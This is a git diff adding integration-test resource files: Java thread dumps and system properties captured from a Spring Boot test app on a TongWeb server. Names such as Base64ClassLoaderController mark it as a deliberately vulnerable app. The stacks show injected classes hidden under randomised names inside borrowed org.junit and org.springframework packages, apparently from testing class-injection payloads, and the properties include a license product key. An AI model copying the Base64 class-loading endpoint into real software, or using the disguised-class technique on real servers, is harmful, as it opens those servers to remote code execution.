at java.base@21.0.11/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@21.0.11/java.lang.ref.Reference.processPendingReferences(Reference.java:246) + at java.base@21.0.11/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:208) + +"reactor-http-nio-3" #39 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.11/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at io.netty.channel.nio.SelectedSelectionKeySetSelector.select(SelectedSelectionKeySetSelector.java:62) + at io.netty.channel.nio.NioIoHandler.select(NioIoHandler.java:668) + at io.netty.channel.nio.NioIoHandler.run(NioIoHandler.java:434) + at io.netty.channel.SingleThreadIoEventLoop.runIo(SingleThreadIoEventLoop.java:225) + at io.netty.channel.SingleThreadIoEventLoop.run(SingleThreadIoEventLoop.java:196) + at io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:1204) + at io.netty.util.internal.ThreadExecutorMap$2.run(ThreadExecutorMap.java:74) + at io.netty.util.concurrent.FastThreadLocalRunnable.run(FastThreadLocalRunnable.java:30) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + + +=========================================== + +StackClassNames: +com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController +com.reajason.javaweb.vul.springboot4.controller.Base64ClassLoaderController$$Lambda/0x00000060014a1f58 +io.netty.channel.AbstractChannelHandlerContext +io.netty.channel.CombinedChannelDuplexHandler +io.netty.channel.CombinedChannelDuplexHandler$DelegatingChannelHandlerContext +io.netty.channel.DefaultChannelPipeline +io.netty.channel.DefaultChannelPipeline$HeadContext +io.netty.channel.SingleThreadIoEventLoop +io.netty.channel.nio.AbstractNioByteChannel$NioByteUnsafe +io.netty.channel.nio.AbstractNioChannel$AbstractNioUnsafe +io.netty.channel.nio.NioIoHandler +io.netty.channel.nio.NioIoHandler$DefaultNioRegistration +io.netty.channel.nio.SelectedSelectionKeySetSelector +io.netty.handler.codec.ByteToMessageDecoder +io.netty.util.concurrent.FastThreadLocalRunnable +io.netty.util.concurrent.SingleThreadEventExecutor$5 +io.netty.util.internal.ThreadExecutorMap$2 +org.junit.ckpSo.ErrorEexqqHandler +org.springframework.boot.reactor.netty.NettyWebServer$1 +reactor.core.publisher.BlockingSingleSubscriber +reactor.core.publisher.FluxContextWrite$ContextWriteSubscriber +reactor.core.publisher.FluxFilterFuseable$FilterFuseableConditionalSubscriber +reactor.core.publisher.FluxMap$MapSubscriber +reactor.core.publisher.FluxMapFuseable$MapFuseableConditionalSubscriber +reactor.core.publisher.FluxMapFuseable$MapFuseableSubscriber +reactor.core.publisher.FluxPeek$PeekSubscriber +reactor.core.publisher.FluxSwitchIfEmpty$SwitchIfEmptySubscriber +reactor.core.publisher.Mono +reactor.core.publisher.MonoCacheTime$CoordinatorSubscriber +reactor.core.publisher.MonoCollect$CollectSubscriber +reactor.core.publisher.MonoFlatMap$FlatMapMain +reactor.core.publisher.Operators$BaseFluxToMonoOperator +reactor.core.publisher.Operators$MonoSubscriber +reactor.netty.channel.ChannelOperations +reactor.netty.channel.ChannelOperationsHandler +reactor.netty.channel.FluxReceive +reactor.netty.http.server.HttpServerOperations +reactor.netty.http.server.HttpTrafficHandler diff --git a/integration-test/src/test/resources/infos/TongWeb7SpringBootContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/TongWeb7SpringBootContainerTestBasicInfo.txt new file mode 100644 index 00000000..7726a86b --- /dev/null +++ b/integration-test/src/test/resources/infos/TongWeb7SpringBootContainerTestBasicInfo.txt @@ -0,0 +1,429 @@ +# Generated At 2026-08-08 09:53:59 +SystemProps: +java.specification.version: 17 +sun.jnu.encoding: UTF-8 +java.class.path: /app/app.jar +java.vm.vendor: Eclipse Adoptium +sun.arch.data.model: 64 +java.vendor.url: https://adoptium.net/ +server.tongweb.license.productKey: esRTevlz6wm/tpN/Cbl4CfU7xtHDelNBw/kd4O9uSO0= +user.timezone: Etc/UTC +server.tongweb.license.type: file +tongweb.home: /tmp/tongweb.8080.8749798371050316176 +java.vm.specification.version: 17 +os.name: Linux +TONGWEB_LICENSE_PATH: /tmp/tongweb-license2882431636653867657.dat +sun.java.launcher: SUN_STANDARD +user.country: US +sun.boot.library.path: /opt/java/openjdk/lib +sun.java.command: /app/app.jar +jdk.debug: release +sun.cpu.endian: little +user.home: /root +user.language: en +java.specification.vendor: Oracle Corporation +server.tongweb.license.ssl.enabled: false +java.version.date: 2025-10-21 +java.home: /opt/java/openjdk +tongweb.base: /tmp/tongweb.8080.8749798371050316176 +file.separator: / +java.vm.compressedOopsMode: Zero based +line.separator: + +server.tongweb.license.productVersion: 7.0.E.6_P9 +java.vm.specification.vendor: Oracle Corporation +java.specification.name: Java Platform API Specification +FILE_LOG_CHARSET: UTF-8 +java.awt.headless: true +tongweb.useNaming: false +java.protocol.handler.pkgs: org.springframework.boot.loader +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +server.tongweb.license.tongWebEdition: Embed +server.tongweb.license.isSync: true +java.runtime.version: 17.0.17+10 +user.name: root +path.separator: : +os.version: 7.0.14-orbstack-00374-gbbca68e8d741 +java.runtime.name: OpenJDK Runtime Environment +file.encoding: UTF-8 +java.vm.name: OpenJDK 64-Bit Server VM +java.vendor.version: Temurin-17.0.17+10 +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +java.io.tmpdir: /tmp +java.version: 17.0.17 +user.dir: / +os.arch: aarch64 +java.vm.specification.name: Java Virtual Machine Specification +PID: 1 +CONSOLE_LOG_CHARSET: UTF-8 +native.encoding: UTF-8 +java.library.path: /usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib +server.tongweb.license.filePath: /tmp/tongweb-license2882431636653867657.dat +java.vm.info: mixed mode, sharing +java.vendor: Eclipse Adoptium +java.vm.version: 17.0.17+10 +java.specification.maintenance.version: 1 +sun.io.unicode.encoding: UnicodeLittle +java.class.version: 61.0 + +=========================================== + +ThreadStacks: +"Reference Handler" #2 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.17/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@17.0.17/java.lang.ref.Reference.processPendingReferences(Reference.java:253) + at java.base@17.0.17/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:215) + +"TongWeb-utility-2" #23 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2a788698 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"http-nio-8080-exec-9" #33 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e47070f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:18) + at com.tongweb.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1099) + at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1161) + at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"http-nio-8080-Acceptor" #36 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.17/sun.nio.ch.Net.accept(Native Method) + at java.base@17.0.17/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:425) + at java.base@17.0.17/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:391) + at com.tongweb.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:498) + at com.tongweb.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:56) + at com.tongweb.web.util.net.Acceptor.run(Acceptor.java:113) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"Common-Cleaner" #13 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@6b458ca3 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.17/java.lang.Object.wait(Native Method) + at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.17/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + at java.base@17.0.17/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162) + +"http-nio-8080-exec-3" #27 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e47070f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:18) + at com.tongweb.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1099) + at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1161) + at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"http-nio-8080-exec-5" #29 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.17/java.lang.Thread.dumpThreads(Native Method) + at java.base@17.0.17/java.lang.Thread.getAllStackTraces(Thread.java:1671) + at org.springframework.mcnFX.ErrorHladkHandler.toString(BasicInfoPrinter.java:26) + at com.reajason.javaweb.vul.springboot3.controller.Base64ClassLoaderController.base64ClassLoader(Base64ClassLoaderController.java:20) + at java.base@17.0.17/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at java.base@17.0.17/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) + at java.base@17.0.17/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.base@17.0.17/java.lang.reflect.Method.invoke(Method.java:569) + at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:207) + at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:152) + at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:118) + at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:884) + at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:797) + at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87) + at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1081) + at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:974) + at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1011) + at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:914) + at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:575) + at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:885) + at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:643) + at com.tongweb.container.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:190) + at com.tongweb.container.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:134) + at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at com.tongweb.container.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:159) + at com.tongweb.container.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:134) + at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at com.tongweb.container.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:159) + at com.tongweb.container.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:134) + at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at com.tongweb.container.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:159) + at com.tongweb.container.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:134) + at com.tongweb.container.core.StandardWrapperValve.invoke(StandardWrapperValve.java:151) + at com.tongweb.container.core.StandardContextValve.invoke(StandardContextValve.java:74) + at com.tongweb.container.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:457) + at com.tongweb.container.core.StandardHostValve.invoke(StandardHostValve.java:99) + at com.tongweb.container.valves.ErrorReportValve.invoke(ErrorReportValve.java:78) + at com.tongweb.container.valves.ErrorReportValve.invoke(ErrorReportValve.java:78) + at com.tongweb.container.core.StandardEngineValve.invoke(StandardEngineValve.java:57) + at com.tongweb.container.connector.CoyoteAdapter.service(CoyoteAdapter.java:324) + at com.tongweb.connector.http11.Http11Processor.service(Http11Processor.java:353) + at com.tongweb.connector.AbstractProcessorLight.process(AbstractProcessorLight.java:47) + at com.tongweb.connector.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:874) + at com.tongweb.web.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1721) + at com.tongweb.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:37) + at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"http-nio-8080-exec-7" #31 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e47070f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:18) + at com.tongweb.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1099) + at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1161) + at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"TongTech-License-Executor" #21 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@34c6c920 + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"http-nio-8080-exec-10" #34 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e47070f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:18) + at com.tongweb.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1099) + at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1161) + at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"http-nio-8080-exec-2" #26 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e47070f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:18) + at com.tongweb.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1099) + at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1161) + at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"http-nio-8080-exec-6" #30 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e47070f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:18) + at com.tongweb.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1099) + at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1161) + at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"http-nio-8080-exec-1" #25 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e47070f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:18) + at com.tongweb.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1099) + at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1161) + at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"http-nio-8080-Poller" #35 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.17/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.17/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.17/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.17/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:735) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"http-nio-8080-exec-8" #32 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e47070f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:18) + at com.tongweb.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1099) + at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1161) + at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"Notification Thread" #12 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"TongTech-License-Executor" #20 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@34c6c920 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"DestroyJavaVM" #37 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"http-nio-8080-exec-4" #28 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e47070f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at 